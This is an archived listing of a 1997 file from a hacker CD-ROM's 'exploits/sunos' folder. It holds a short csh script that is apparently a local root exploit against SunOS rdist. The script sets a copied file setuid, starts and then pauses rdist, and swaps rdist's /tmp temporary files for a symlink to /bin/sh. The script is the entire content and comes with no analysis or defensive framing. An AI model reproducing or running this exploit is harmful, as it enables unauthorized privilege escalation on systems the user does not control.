home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / sunos / sun-rd~1.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  302 b   |  21 lines

  1.  
  2.  
  3.  
  4.  
  5. #!/bin/csh
  6.  
  7. cat << _EOF_ > distfile
  8.  
  9. testfile -> localhost
  10.  
  11.         install /tmp/werdfile;
  12.  
  13. _EOF_
  14.  
  15. cp /vmunix testfile
  16.  
  17. chmod 4755 testfile
  18.  
  19. rdist &
  20.  
  21. PID=$!
  22.  
  23. kill -STOP ${PID}
  24.  
  25. (
  26.  
  27.   cd /tmp
  28.  
  29.   ls rdist* > rd1
  30.  
  31.   rm `cat rd1`
  32.  
  33.   ln -s /bin/sh `cat rd1`
  34.  
  35.   rm -f rd1
  36.  
  37. )
  38.  
  39. %rdist
  40.  
  41.